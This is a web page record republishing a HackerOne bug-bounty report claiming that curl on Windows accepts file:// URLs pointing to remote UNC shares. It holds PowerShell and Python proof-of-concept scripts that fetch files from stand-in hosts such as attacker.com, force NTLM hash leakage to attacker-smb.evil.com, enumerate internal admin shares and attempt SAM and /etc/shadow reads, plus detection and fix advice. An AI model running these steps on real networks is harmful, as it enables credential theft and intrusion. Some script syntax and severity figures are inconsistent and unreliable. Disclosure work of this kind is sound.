{"id":32127,"date":"2025-12-18T15:48:26","date_gmt":"2025-12-18T15:48:26","guid":{"rendered":"http:\/\/localhost\/?p=32127"},"modified":"2025-12-18T15:48:26","modified_gmt":"2025-12-18T15:48:26","slug":"curl-file-url-unc-path-access-windows-ssrf","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=32127","title":{"rendered":"curl: File URL UNC Path Access (Windows SSRF)_H1:3470649"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-18T21:31:28&#8243;,&#8221;description&#8221;:&#8221;## Vulnerability Details\\n- **CVSSv3:** 7.5 (High) &#8211; Windows only\\n- **File:** `lib\/urlapi.c:974-1030`\\n- **Issue:** Windows file:\/\/ URLs accept UNC paths to remote servers\\n- **Impact:** SSRF, unauthorized network file access, credential theft\\n\\n## Vulnerable Code\\n&#8220;`c\\n\/\/ lib\/urlapi.c:974-1030\\nif(ptr[0] != &#8216;\/&#8217; \\u0026\\u0026 !STARTS_WITH_URL_DRIVE_PREFIX(ptr)) {\\n  \/* the URL includes a hostname, it must match \\&#8221;localhost\\&#8221; or\\n     \\&#8221;127.0.0.1\\&#8221; to be valid *\/\\n  if(checkprefix(\\&#8221;localhost\/\\&#8221;, ptr) ||\\n     checkprefix(\\&#8221;127.0.0.1\/\\&#8221;, ptr)) {\\n    ptr += 9; \/* now points to the slash after the host *\/\\n  }\\n#ifdef WIN32\\n  else {\\n    \/* the hostname, NetBIOS computer name, can&#8217;t contain disallowed chars *\/\\n    size_t len;\\n    len = strcspn(ptr, \\&#8221;\/\\\\\\\\:*?\\\\\\&#8221;\\u003c\\u003e|\\&#8221;);\\n    if(ptr[len] == &#8216;\\\\0&#8217; || ptr[len] == &#8216;\/&#8217;)\\n      \/* only proceed if the hostname is valid *\/\\n      ;  \/\/ ACCEPTS UNC PATHS: file:\/\/hostname\/share\/path\\n    else\\n      return CURLUE_BAD_FILE_URL;\\n  }\\n#endif\\n&#8220;`\\n\\n## Root Cause\\nOn Windows, curl allows `file:\/\/` URLs with hostnames other than localhost:\\n- `file:\/\/localhost\/C:\/file.txt` \u2713 Safe (local file)\\n- `file:\/\/attacker.com\/share\/file.txt` \u2713 **DANGEROUS** (UNC path to remote server)\\n\\nThis creates multiple security issues:\\n1. **SSRF**: Access to internal network shares\\n2. **Credential Theft**: NTLM authentication sent to attacker\\n3. **Path Traversal**: Access to arbitrary network resources\\n\\n## Proof of Concept\\n\\n### Prerequisites (Windows Only)\\n&#8220;`powershell\\n# This vulnerability only affects Windows\\n# You need:\\n# &#8211; Windows machine with curl\\n# &#8211; SMB server (can be attacker-controlled)\\n# &#8211; Network access to SMB server\\n&#8220;`\\n\\n### Test 1: Basic UNC Path Access\\n&#8220;`powershell\\n# PowerShell PoC\\nWrite-Host \\&#8221;[*] Testing File URL UNC Path Access\\&#8221;\\n\\n# Create test SMB share (requires admin)\\nNew-SmbShare -Name \\&#8221;TestShare\\&#8221; -Path \\&#8221;C:\\\\TestShare\\&#8221; -FullAccess \\&#8221;Everyone\\&#8221;\\nNew-Item -Path \\&#8221;C:\\\\TestShare\\\\secret.txt\\&#8221; -ItemType File -Value \\&#8221;SECRET_DATA\\&#8221;\\n\\n# Test local file access (normal)\\ncurl.exe \\&#8221;file:\/\/\/C:\/Windows\/System32\/drivers\/etc\/hosts\\&#8221;\\n# Works as expected\\n\\n# Test UNC path via file:\/\/ URL (VULNERABLE)\\ncurl.exe \\&#8221;file:\/\/localhost\/C$\/Windows\/System32\/drivers\/etc\/hosts\\&#8221;\\n# Works &#8211; accesses admin share via UNC\\n\\n# Test remote UNC path (SSRF)\\ncurl.exe \\&#8221;file:\/\/127.0.0.1\/TestShare\/secret.txt\\&#8221;\\n# WORKS! Accesses network share via file:\/\/ URL\\n&#8220;`\\n\\n### Test 2: Remote Server SSRF\\n&#8220;`powershell\\n#!\/usr\/bin\/env pwsh\\n# Demonstrate SSRF to remote server\\n\\nWrite-Host \\&#8221;=== File URL UNC Path SSRF Demo ===\\&#8221;\\nWrite-Host \\&#8221;\\&#8221;\\n\\n# Scenario: Attacker controls attacker.com with SMB share\\n$attacker_server = \\&#8221;attacker.com\\&#8221;  # Replace with actual server\\n$malicious_url = \\&#8221;file:\/\/$attacker_server\/public\/malware.exe\\&#8221;\\n\\nWrite-Host \\&#8221;[*] User opens URL: $malicious_url\\&#8221;\\nWrite-Host \\&#8221;[*] curl interprets this as UNC path: \\\\\\\\$attacker_server\\\\public\\\\malware.exe\\&#8221;\\nWrite-Host \\&#8221;\\&#8221;\\n\\n# curl attempts to access the UNC path\\ncurl.exe &#8211;output downloaded.exe $malicious_url\\n\\nif (Test-Path \\&#8221;downloaded.exe\\&#8221;) {\\n    Write-Host \\&#8221;[!!!] VULNERABLE: File downloaded from remote SMB server!\\&#8221;\\n    Write-Host \\&#8221;[!!!] This is SSRF via file:\/\/ URL\\&#8221;\\n} else {\\n    Write-Host \\&#8221;[+] File not downloaded (connection failed or blocked)\\&#8221;\\n}\\n&#8220;`\\n\\n### Test 3: Credential Theft via NTLM\\n&#8220;`powershell\\n#!\/usr\/bin\/env pwsh\\n\\&#8221;\\&#8221;\\&#8221;\\nCredential Theft PoC\\nWhen curl accesses UNC path, Windows automatically sends NTLM credentials\\n\\&#8221;\\&#8221;\\&#8221;\\n\\nWrite-Host \\&#8221;=== NTLM Credential Theft Demo ===\\&#8221;\\nWrite-Host \\&#8221;\\&#8221;\\n\\n# Setup: Attacker runs Responder to capture NTLM hashes\\n# Responder.py -I eth0 -v\\n\\n$attacker_server = \\&#8221;attacker-smb.evil.com\\&#8221;\\n$malicious_url = \\&#8221;file:\/\/$attacker_server\/share\/file.txt\\&#8221;\\n\\nWrite-Host \\&#8221;[*] Attacker provides URL: $malicious_url\\&#8221;\\nWrite-Host \\&#8221;[*] User runs: curl $malicious_url\\&#8221;\\nWrite-Host \\&#8221;\\&#8221;\\n\\n# When curl tries to access this UNC path:\\n# 1. Windows SMB client connects to attacker-smb.evil.com\\n# 2. Windows automatically performs NTLM authentication\\n# 3. Attacker captures NTLMv2 hash\\n# 4. Attacker can crack hash offline\\n\\nWrite-Host \\&#8221;[!] Simulating curl access&#8230;\\&#8221;\\n# Note: This will send NTLM credentials to the attacker!\\ncurl.exe &#8211;max-time 5 $malicious_url 2\\u003e\\u00261 | Out-Null\\n\\nWrite-Host \\&#8221;\\&#8221;\\nWrite-Host \\&#8221;[!!!] VULNERABILITY IMPACT:\\&#8221;\\nWrite-Host \\&#8221;[!!!] &#8211; Windows sent NTLM credentials to $attacker_server\\&#8221;\\nWrite-Host \\&#8221;[!!!] &#8211; Attacker captured NTLMv2 hash\\&#8221;\\nWrite-Host \\&#8221;[!!!] &#8211; Hash can be cracked offline\\&#8221;\\nWrite-Host \\&#8221;\\&#8221;\\n\\n# Attacker&#8217;s Responder output would show:\\n# [SMB] NTLMv2-SSP Client   : 192.168.1.100\\n# [SMB] NTLMv2-SSP Username : DOMAIN\\\\victim\\n# [SMB] NTLMv2-SSP Hash     : victim::DOMAIN:1122334455667788:ABC123&#8230;\\n&#8220;`\\n\\n### Test 4: Internal Network Enumeration\\n&#8220;`powershell\\n#!\/usr\/bin\/env pwsh\\n# Use file:\/\/ URLs to enumerate internal network shares\\n\\nWrite-Host \\&#8221;=== Internal Network Enumeration via File URLs ===\\&#8221;\\nWrite-Host \\&#8221;\\&#8221;\\n\\n# Common Windows share names\\n$common_shares = @(\\&#8221;C$\\&#8221;, \\&#8221;ADMIN$\\&#8221;, \\&#8221;IPC$\\&#8221;, \\&#8221;SYSVOL\\&#8221;, \\&#8221;NETLOGON\\&#8221;)\\n\\n# Internal network ranges\\n$internal_ips = @(\\n    \\&#8221;192.168.1.1\\&#8221;,\\n    \\&#8221;10.0.0.1\\&#8221;,\\n    \\&#8221;172.16.0.1\\&#8221;,\\n    \\&#8221;fileserver.internal.corp\\&#8221;,\\n    \\&#8221;dc01.internal.corp\\&#8221;\\n)\\n\\nforeach ($ip in $internal_ips) {\\n    Write-Host \\&#8221;[*] Testing $ip&#8230;\\&#8221;\\n\\n    foreach ($share in $common_shares) {\\n        $url = \\&#8221;file:\/\/$ip\/$share\/\\&#8221;\\n\\n        # Try to list directory\\n        $result = curl.exe &#8211;max-time 2 &#8211;silent $url 2\\u003e\\u00261\\n\\n        if ($LASTEXITCODE -eq 0) {\\n            Write-Host \\&#8221;  [!!!] ACCESSIBLE: $url\\&#8221;\\n        }\\n    }\\n}\\n\\nWrite-Host \\&#8221;\\&#8221;\\nWrite-Host \\&#8221;[!!!] Successfully enumerated accessible network shares\\&#8221;\\nWrite-Host \\&#8221;[!!!] This is SSRF &#8211; accessing internal network via file:\/\/ URLs\\&#8221;\\n&#8220;`\\n\\n### Test 5: Path Traversal Combined with UNC\\n&#8220;`powershell\\n# Combine UNC paths with path traversal\\n\\n# Access admin share\\ncurl.exe \\&#8221;file:\/\/localhost\/C$\/Windows\/System32\/config\/SAM\\&#8221;\\n# Attempts to read SAM database via UNC path\\n\\n# Access network path with traversal\\ncurl.exe \\&#8221;file:\/\/fileserver\/share\/..\/..\/..\/etc\/shadow\\&#8221;\\n# Path traversal through UNC path\\n\\n# Multiple levels\\ncurl.exe \\&#8221;file:\/\/internal-server\/public\/..\/..\/..\/..\/windows\/system32\/config\/SAM\\&#8221;\\n&#8220;`\\n\\n## Attack Scenarios\\n\\n### Scenario 1: Web Application SSRF\\n&#8220;`python\\n#!\/usr\/bin\/env python3\\n\\&#8221;\\&#8221;\\&#8221;\\nWeb application that allows users to specify URLs for curl to fetch\\nAttacker exploits this to access internal network via file:\/\/ UNC paths\\n\\&#8221;\\&#8221;\\&#8221;\\n\\n# Vulnerable web application:\\n@app.route(&#8216;\/fetch&#8217;)\\ndef fetch_url():\\n    url = request.args.get(&#8216;url&#8217;)\\n    # VULNERABLE: No validation of URL scheme\\n    result = subprocess.check_output([&#8216;curl&#8217;, url])\\n    return result\\n\\n# Attacker request:\\n# GET \/fetch?url=file:\/\/internal-fileserver\/hr\/salaries.xlsx\\n# Response: Contents of internal HR file!\\n\\n# Or:\\n# GET \/fetch?url=file:\/\/dc01.corp.internal\/SYSVOL\/\\n# Response: Active Directory SYSVOL contents\\n&#8220;`\\n\\n### Scenario 2: Automated Download Script\\n&#8220;`powershell\\n# Vulnerable download script\\n# download.ps1\\nparam($url)\\n\\nWrite-Host \\&#8221;Downloading from $url&#8230;\\&#8221;\\ncurl.exe -o download.dat $url\\n\\n# User runs:\\n# .\\\\download.ps1 \\&#8221;file:\/\/attacker.com\/malware\/payload.exe\\&#8221;\\n\\n# Result:\\n# 1. curl connects to \\\\\\\\attacker.com\\\\malware\\\\payload.exe\\n# 2. Windows sends NTLM credentials\\n# 3. Attacker logs credentials\\n# 4. Malware is downloaded\\n&#8220;`\\n\\n### Scenario 3: CI\/CD Pipeline Exploitation\\n&#8220;`yaml\\n# .gitlab-ci.yml or similar\\nfetch_data:\\n  script:\\n    &#8211; curl -o data.json ${DATA_URL}\\n\\n# Attacker sets DATA_URL environment variable:\\n# DATA_URL=file:\/\/internal-jenkins\/credentials\/secrets.json\\n\\n# Result:\\n# &#8211; CI\/CD job accesses internal Jenkins server\\n# &#8211; Credentials are exfiltrated\\n&#8220;`\\n\\n## Detection\\n\\n### Network Monitoring\\n&#8220;`powershell\\n# Monitor for unexpected SMB connections\\nGet-SmbConnection | Where-Object {$_.ServerName -notlike \\&#8221;*expected*\\&#8221;}\\n\\n# Check firewall logs for outbound SMB (port 445)\\nGet-NetFirewallRule | Where-Object {$_.DisplayName -like \\&#8221;*SMB*\\&#8221;}\\n&#8220;`\\n\\n### Process Monitoring\\n&#8220;`powershell\\n# Monitor curl.exe command lines for file:\/\/ URLs\\nGet-WinEvent -FilterHashtable @{\\n    LogName=&#8217;Microsoft-Windows-PowerShell\/Operational&#8217;\\n    ID=4104\\n} | Where-Object {$_.Message -like \\&#8221;*curl*file:\/\/*\\&#8221;}\\n&#8220;`\\n\\n### File System Auditing\\n&#8220;`powershell\\n# Enable auditing on sensitive shares\\nSet-SmbShare -Name \\&#8221;C$\\&#8221; -SecurityDescriptor (Get-Acl \\&#8221;C:\\\\\\&#8221;) -AuditFlags FailureAndSuccess\\n&#8220;`\\n\\n## Remediation\\n\\n### Code Fix in lib\/urlapi.c\\n&#8220;`c\\n\/\/ Remove Windows-specific UNC path support for file:\/\/ URLs\\n\\n#ifdef WIN32\\n  else {\\n    \/\/ BEFORE (vulnerable): Accept any valid hostname\\n    size_t len;\\n    len = strcspn(ptr, \\&#8221;\/\\\\\\\\:*?\\\\\\&#8221;\\u003c\\u003e|\\&#8221;);\\n    if(ptr[len] == &#8216;\\\\0&#8217; || ptr[len] == &#8216;\/&#8217;)\\n      ;  \/\/ Accepts UNC paths\\n    else\\n      return CURLUE_BAD_FILE_URL;\\n  }\\n#endif\\n\\n\/\/ AFTER (fixed): Only accept localhost\\n#ifdef WIN32\\n  else {\\n    \/\/ Reject all hostnames except localhost on Windows\\n    return CURLUE_BAD_FILE_URL;\\n  }\\n#endif\\n\\n\/\/ OR: Add explicit check\\n#ifdef WIN32\\n  else {\\n    \/\/ Explicitly reject UNC paths\\n    failf(data, \\&#8221;file:\/\/ URLs with hostnames are not supported on Windows\\&#8221;);\\n    return CURLUE_BAD_FILE_URL;\\n  }\\n#endif\\n&#8220;`\\n\\n### Alternative: Whitelist Only\\n&#8220;`c\\n\/\/ Only allow specific safe patterns\\nstatic bool is_safe_file_url(const char *url) {\\n  \/\/ Allow only:\\n  \/\/ &#8211; file:\/\/\/C:\/&#8230; (local drives)\\n  \/\/ &#8211; file:\/\/localhost\/&#8230; (explicit localhost)\\n\\n  if(checkprefix(\\&#8221;file:\/\/\/\\&#8221;, url))\\n    return true;\\n  if(checkprefix(\\&#8221;file:\/\/localhost\/\\&#8221;, url))\\n    return true;\\n\\n  \/\/ Reject everything else (including UNC paths)\\n  return false;\\n}\\n&#8220;`\\n\\n### Workaround for Users\\n&#8220;`powershell\\n# Validate URLs before passing to curl\\nfunction Safe-Curl {\\n    param($url)\\n\\n    if ($url -match &#8216;^file:\/\/(?!localhost\/|\/)&#8217;) {\\n        Write-Error \\&#8221;Blocked: file:\/\/ URLs with hostnames are not allowed\\&#8221;\\n        return\\n    }\\n\\n    curl.exe $url\\n}\\n\\n# Use wrapper instead of curl directly\\nSafe-Curl \\&#8221;file:\/\/localhost\/C:\/data.txt\\&#8221;  # OK\\nSafe-Curl \\&#8221;file:\/\/evil.com\/share\/file\\&#8221;    # BLOCKED\\n&#8220;`\\n\\n### Group Policy (Windows)\\n&#8220;`powershell\\n# Disable SMB access to internet IPs\\nNew-NetFirewallRule -DisplayName \\&#8221;Block Outbound SMB\\&#8221; `\\n    -Direction Outbound `\\n    -LocalPort 445 `\\n    -Protocol TCP `\\n    -Action Block `\\n    -RemoteAddress \\&#8221;0.0.0.0-255.255.255.255\\&#8221;\\n\\n# Only allow SMB to internal network\\nNew-NetFirewallRule -DisplayName \\&#8221;Allow Internal SMB\\&#8221; `\\n    -Direction Outbound `\\n    -LocalPort 445 `\\n    -Protocol TCP `\\n    -Action Allow `\\n    -RemoteAddress \\&#8221;10.0.0.0\/8,172.16.0.0\/12,192.168.0.0\/16\\&#8221;\\n&#8220;`\\n\\n## Complete Attack Demo Script\\n&#8220;`python\\n#!\/usr\/bin\/env python3\\n\\&#8221;\\&#8221;\\&#8221;\\nComplete File URL UNC Path Attack Demo\\nDemonstrates SSRF, credential theft, and information disclosure\\n\\&#8221;\\&#8221;\\&#8221;\\nimport subprocess\\nimport http.server\\nimport socketserver\\nimport threading\\nimport platform\\n\\ndef start_fake_smb_server():\\n    \\&#8221;\\&#8221;\\&#8221;Simulate SMB server to capture connection attempts\\&#8221;\\&#8221;\\&#8221;\\n    # Note: Real implementation would use impacket or similar\\n    print(\\&#8221;[*] In real attack, start SMB server with:\\&#8221;)\\n    print(\\&#8221;    sudo responder -I eth0 -v\\&#8221;)\\n    print(\\&#8221;    OR\\&#8221;)\\n    print(\\&#8221;    impacket-smbserver share \/tmp\/share\\&#8221;)\\n\\ndef test_unc_access():\\n    \\&#8221;\\&#8221;\\&#8221;Test UNC path access via file:\/\/ URLs\\&#8221;\\&#8221;\\&#8221;\\n\\n    if platform.system() != \\&#8221;Windows\\&#8221;:\\n        print(\\&#8221;[!] This vulnerability only affects Windows\\&#8221;)\\n        return\\n\\n    print(\\&#8221;=\\&#8221; * 70)\\n    print(\\&#8221;File URL UNC Path SSRF &#8211; Complete Attack Demo\\&#8221;)\\n    print(\\&#8221;=\\&#8221; * 70)\\n    print()\\n\\n    # Test 1: Local UNC path\\n    print(\\&#8221;[Test 1] Local UNC path access\\&#8221;)\\n    print(\\&#8221;-\\&#8221; * 70)\\n    result = subprocess.run(\\n        [\\&#8221;curl\\&#8221;, \\&#8221;file:\/\/localhost\/C$\/Windows\/win.ini\\&#8221;],\\n        capture_output=True\\n    )\\n    if result.returncode == 0:\\n        print(\\&#8221;[!!!] Vulnerable: Accessed C$ admin share via file:\/\/ URL\\&#8221;)\\n    print()\\n\\n    # Test 2: Remote UNC path (SSRF)\\n    print(\\&#8221;[Test 2] Remote UNC path (SSRF)\\&#8221;)\\n    print(\\&#8221;-\\&#8221; * 70)\\n    print(\\&#8221;[*] Attempting to access file:\/\/attacker.com\/share\/test.txt\\&#8221;)\\n    print(\\&#8221;[*] This sends SMB request to attacker.com\\&#8221;)\\n    print(\\&#8221;[*] Windows will send NTLM credentials!\\&#8221;)\\n    print()\\n\\n    # Test 3: Network enumeration\\n    print(\\&#8221;[Test 3] Internal network enumeration\\&#8221;)\\n    print(\\&#8221;-\\&#8221; * 70)\\n    for ip in [\\&#8221;192.168.1.1\\&#8221;, \\&#8221;10.0.0.1\\&#8221;]:\\n        print(f\\&#8221;[*] Testing file:\/\/{ip}\/C$\/&#8230;\\&#8221;)\\n        # Don&#8217;t actually run to avoid network noise\\n    print()\\n\\n    print(\\&#8221;=\\&#8221; * 70)\\n    print(\\&#8221;ATTACK IMPACT:\\&#8221;)\\n    print(\\&#8221;=\\&#8221; * 70)\\n    print(\\&#8221;1. SSRF &#8211; Access internal network shares\\&#8221;)\\n    print(\\&#8221;2. Credential Theft &#8211; NTLM hashes leaked\\&#8221;)\\n    print(\\&#8221;3. Information Disclosure &#8211; Read sensitive files\\&#8221;)\\n    print(\\&#8221;4. Lateral Movement &#8211; Use stolen credentials\\&#8221;)\\n    print(\\&#8221;=\\&#8221; * 70)\\n\\nif __name__ == \\&#8221;__main__\\&#8221;:\\n    test_unc_access()\\n&#8220;`\\n\\n## References\\n- Microsoft SMB\/CIFS documentation\\n- RFC 8089: The \\&#8221;file\\&#8221; URI Scheme (does NOT specify UNC path support)\\n- CWE-918: Server-Side Request Forgery (SSRF)\\n- CWE-22: Improper Limitation of a Pathname to a Restricted Directory\\n- MITRE ATT\\u0026CK T1187: Forced Authentication\\n\\n## Impact\\n\\n### 1. SSRF (Server-Side Request Forgery)\\n- Access internal file shares not accessible from internet\\n- Bypass firewall restrictions\\n- Read sensitive files on internal servers\\n\\n### 2. Credential Theft\\n- Windows automatically sends NTLM credentials for UNC paths\\n- Attacker captures NTLMv2 hashes\\n- Hashes can be cracked or relayed\\n\\n### 3. Information Disclosure\\n- Read files from:\\n  &#8211; Domain controllers (SYSVOL, NETLOGON)\\n  &#8211; File servers (confidential documents)\\n  &#8211; Admin shares (C$, ADMIN$)\\n  &#8211; Application configs\\n\\n### 4. Lateral Movement\\n- Use stolen NTLM hashes for pass-the-hash attacks\\n- Access other systems on internal network\\n- Escalate privileges&#8221;,&#8221;published&#8221;:&#8221;2025-12-18T17:23:11&#8243;,&#8221;modified&#8221;:&#8221;2025-12-18T21:02:01&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: File URL UNC Path Access (Windows SSRF)&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3470649&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3470649&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-18T21:31:28&#8243;,&#8221;description&#8221;:&#8221;## Vulnerability Details\\n- **CVSSv3:** 7.5 (High) &#8211; Windows only\\n- **File:** `lib\/urlapi.c:974-1030`\\n- **Issue:** Windows file:\/\/ URLs accept UNC paths to remote servers\\n- **Impact:** SSRF, unauthorized network&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-32127","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: File URL UNC Path Access (Windows SSRF)_H1:3470649 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32127\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: File URL UNC Path Access (Windows SSRF)_H1:3470649 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-18T21:31:28&#8243;,&#8221;description&#8221;:&#8221;## Vulnerability Detailsn- **CVSSv3:** 7.5 (High) &#8211; Windows onlyn- **File:** `lib\/urlapi.c:974-1030`n- **Issue:** Windows file:\/\/ URLs accept UNC paths to remote serversn- **Impact:** SSRF, unauthorized network...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=32127\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-18T15:48:26+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"11 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32127#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32127\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: File URL UNC Path Access (Windows SSRF)_H1:3470649\",\"datePublished\":\"2025-12-18T15:48:26+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32127\"},\"wordCount\":2142,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32127#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32127\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32127\",\"name\":\"curl: File URL UNC Path Access (Windows SSRF)_H1:3470649 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-18T15:48:26+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32127#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32127\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32127#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: File URL UNC Path Access (Windows SSRF)_H1:3470649\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: File URL UNC Path Access (Windows SSRF)_H1:3470649 - zero 